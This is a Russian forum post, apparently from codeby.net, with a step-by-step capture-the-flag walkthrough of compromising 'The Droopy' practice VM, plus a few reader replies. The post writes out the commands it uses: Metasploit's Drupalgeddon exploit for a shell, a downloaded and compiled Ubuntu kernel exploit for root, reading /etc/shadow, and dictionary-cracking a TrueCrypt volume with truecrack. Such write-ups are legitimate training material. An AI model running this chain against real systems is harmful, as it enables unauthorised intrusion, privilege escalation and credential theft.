CTF CTF. Взлом The Droopy VM.

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
Всем привет!
В этой статье, я пошагово опишу взлом в рамках CTF (Capture The Flag) Challenge, уязвимой системы под названием The Droopy. Это проникновение будет осуществить немного сложнее предыдущего ( https://codeby.net/threads/ctf-vzlom-mr-robot-vm.57930/#post-263816 ). Но в нем я покажу, как использовать (компилировать) эксплойты не включенные в Metasploit, скачивая их напрямую с сайта exploit-db.com. А так же покажу, как использовать полезную программу – VeraCrypt.
Итак, начнем.

Скачиваем систему отсюда - >

Импортируем ее в Oracle VM Virtual Box, затем запускаем. ОС, используемая для взлома -> Kali Linux Rolling.

upload_2016-9-20_16-53-28.png


Переходим в терминал Kali Linux и запускаем утилиту netdiscover, для определения IP нашей цели в сети.

upload_2016-9-20_16-54-14.png


Адрес целевой системы - 172.16.0.195. Теперь запускаем агрессивный тип сканирования с помощью команды:

> nmap –A 172.16.0.195

upload_2016-9-20_16-54-36.png


Результат сканирования показал, что есть открытый порт – 80. Используемая система - Drupal 7 версии, которая известна своими уязвимостями. Начнем использовать их, чтобы получить в итоге открытую сессию meterpreter.

Drupal — система управления содержимым (CMS), используемая также как каркас для веб-приложений (CMF), написанная на языке PHP и использующая в качестве хранилища данных реляционную базу данных (поддерживаются MySQL, PostgreSQL и другие). Drupal является свободным программным обеспечением, защищённым лицензией GPL, и развивается усилиями энтузиастов со всего мира.
Запускаем Metasploit Framework и вводим:

> search drupal


upload_2016-9-20_16-55-54.png


Перед нами список уязвимостей, которые мы сможем применить для атаки нашей цели. Мы будем использовать эксплоит под названием drupal_drupageddon.
Для этого последовательно вводим команды:

> use exploit/multi/http/drupal_drupageddon

> set RHOST 172.16.0.195 (IP целевого хоста)

> set RPORT 80


> exploit

upload_2016-9-20_16-56-33.png


В случае успешного срабатывания эксплойта получаем открытую сессию meterpreter. Идем дальше, пишем:

> shell

> echo “import pty; pty.spawn(‘ /bin/bash’)” > /tmp/asdf.py
(Команда позволит создать в указанной папке скрипт, который даст нам доступ к pty)

> python /tmp/asdf.py

Выполненные команды позволили нам войти в терминал. Следующим шагом, узнаем версию операционной системы.

> lsb_release –a

upload_2016-9-20_16-58-9.png


Теперь мы знаем версию ОС, это Ubuntu 14.04. Давайте попробуем найти рабочий эксплоит для этой системы непосредственно на exploit-db.com.
Производим поиск на сайте по ключевым словам – ubuntu 14.04
По завершении поиска выбираем подходящий эксплоит:

upload_2016-9-20_16-58-35.png


Выбранный эксплоит не доступен в Metasploit Framework, поэтому пойдем иным путем, о котором я упоминал в начале статьи:

upload_2016-9-20_16-58-59.png


Теперь необходимо создать исполняемый файл, для загрузки в него эксплойта. Но прежде, находим директорию, в которую мы можем вносить изменения, вводим следующее:

> find / -writable -type d 2>/dev/null (Поиск подходящей директории)

upload_2016-9-20_16-59-25.png


Для наших целей подходит каталог /tmp.

> cd /tmp/ (Переходим в директорию /tmp)

> wget (Этой командой загружаем эксплоит)

В случае успеха получаем такой вывод:

upload_2016-9-20_17-0-20.png


Скачанный файл необходимо скомпилировать и запустить, таки путем мы получим root-доступ к системе. Чтобы сделать это, вводим команды, как показано ниже:

> mv 37292 37292.c (Перед началом компиляции переименуем файл)

> gcc 37292.c -o kernel (Эта команда скомпилирует указанный файл и сохранит его под именем kernel)

> chmod 777 kernel (Этой командой разрешим исполнение файла)

> ./kernel (Выполняем)

После совершения этих действий мы получаем доступ супер-пользователя в системе. Убедиться в этом можно с помощью команды:

> whoami (Покажет в качестве кого мы находимся в системе)

> cd /root (Перейдем в каталог /root)

> ls –a (Посмотрим его содержимое)

upload_2016-9-20_17-1-54.png


Для нас интерес представляет файл dave.tc. Так как это значит, что:


ТИП ФАЙЛА - TrueCrypt Disk Volume Format

СОЗДАТЕЛЬ - TrueCrypt

Если попробовать открыть его в браузере, то он предложить сохранить файл. Пробуем скачать его, так как у нас есть легкий доступ ко всем каталогам, то просто скопируем dave.tc в каталог var/www/html, а затем обратившись по адресу 172.16.0.ХХХ/dave.tc, сохраним его себе на компьютер.

> cp dave.tc /var/www/html

upload_2016-9-20_17-2-32.png


Давайте откроем файл с помощью VeraCrypt. Для справки, VeraCrypt — это программа для шифрования на-лету, которая основана на коде TrueCrypt. VeraCrypt умеет шифровать разделы целые диски, и может использоваться аутентификация перед загрузкой диска, который полностью зашифрован. По словам разработчика решены некоторые проблемы безопасности, которые присутствовали в TrueCrypt. В VeraCrypt используется XTS режим работы. Подробнее можно узнать из этой инструкции - https://codeby.net/blogs/instrukcija-po-ispolzovaniju-veracrypt/

Скачиваем и устанавливаем VeraCrypt из официального источника –>

upload_2016-9-20_17-2-57.png


Запускаем программу и выбираем 1 слот для монтирования. Указываем путь к нашему файлу, жмем Mount.

upload_2016-9-20_17-3-15.png


При попытке открыть файл, он попросит пароль, которого у нас нет, но мы попробуем отыскать его.

Для начала заглянем в файл, который содержит все хэши паролей. В нашей системе это /etc/shadow. Подробнее о нем в этой статье - > https://codeby.net/blogs/zashhita-s-pomoshhju-parolja-v-linux-fajl-etcshadow/

> cat /etc/shadow

upload_2016-9-20_17-3-38.png


Теперь у нас есть хэш пароля root, необходимо определить, какой тип хэша использовался. В этом поможет сервис -

Копируем, вставляем его в форму, получаем возможный тип хэша:
upload_2016-9-20_17-4-2.png


В данном случае это SHA512, но к нему мы вернемся чуть позже. Во время предыдущих исследований, мы ко всему прочему находили и почту, она хранится в /var/mail/www-data. Прочтем ее:

> cat /var/mail/www-data

upload_2016-9-20_17-4-23.png


После прочтения почты становится ясно наверняка, что:

· Пароль состоит из 11 символов

· Пароль как-то связан с академией

Чтобы найти его, нужно отфильтровать словарь rockyou.txt. Я рекомендую это сделать, так как, он содержит более 10 млн. строк. Если запустить перебор не фильтруя, это может занять очень много времени. Ниже представлена команда, которая отфильтрует словарь по указанным критериям:

> awk ‘length($1) == 11 { print $1 }’ /usr/share/wordlists/rockyou.txt |egrep ‘^[[:lower:]]+academy’ > /root/Desktop/pazzz.txt


upload_2016-9-20_17-5-0.png


Для справки:

AWK — интерпретируемый скриптовый C-подобный язык построчного разбора и обработки входного потока (например, текстового файла) по заданным шаблонам (регулярным выражениям). Используется в bash (SH) скриптах.

Теперь, когда получен отфильтрованный файл словаря, вводим команду:

> truecrack –truecrypt /root/Download/dave.tc -k SHA512 -w /root/Desktop/pazzzz.txt

upload_2016-9-20_17-5-28.png


С помощью этой команды пароль обнаруживается за считанные секунды. Теперь можем опять запускать VeraCrypt и использовать полученные данные.

upload_2016-9-20_17-6-6.png


Когда монтирование заканчивается, заходим в раздел, и по пути, указанному на скриншоте находим текстовый файл flag.txt. Запускаем:

upload_2016-9-20_17-6-27.png


Флаг получен и на этом взлом системы The Droopy заканчивается.

Спасибо за внимание.

upload_2016-9-20_17-7-28.png
 
I

Inject0r

спасибо за качественную и практическую информацию! :)

Правда у меня по ходу выполнения возникло 2 проблемы:
1. Сайт не смог определить тип хэша (проверял вот эту часть: EFE6LjrVpz2yJrd2QSQEe/mGQ.8q3xXi9s5CJL95ngeh95PS91e10XLav4gRE1z4jv1Wmb6WH24yVQA6GKwEl/)
2. VeraCrypt выдал ошибку при монтировании
53fbb5506d5d.png
53fbb5506d5d.png
53fbb5506d5d.png
 
Последнее редактирование модератором:

Vander

CodebyTeam
Gold Team
16.01.2016
1 420
4 353
BIT
2
спасибо за качественную и практическую информацию! :)

Правда у меня по ходу выполнения возникло 2 проблемы:
1. Сайт не смог определить тип хэша (проверял вот эту часть: EFE6LjrVpz2yJrd2QSQEe/mGQ.8q3xXi9s5CJL95ngeh95PS91e10XLav4gRE1z4jv1Wmb6WH24yVQA6GKwEl/)
2. VeraCrypt выдал ошибку при монтировании
53fbb5506d5d.png
53fbb5506d5d.png
53fbb5506d5d.png

1. Сайт не смог определить тип хэша - Тоже столкнулся с этим, далеко не с первого раза определил. Можно попробовать либо другие сервисы, либо пропустить, т.к. это не самое важное)
2. Пароль правильно вводите? Стоит галочка на TrueCrypt Mode ?
 

Chena

Green Team
10.02.2017
12
4
BIT
0
Что-то exploit не поехал ....Бывает )
 

Вложения

  • Screenshot from 2017-04-06 15-46-49.png
    Screenshot from 2017-04-06 15-46-49.png
    68,8 КБ · Просмотры: 360
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!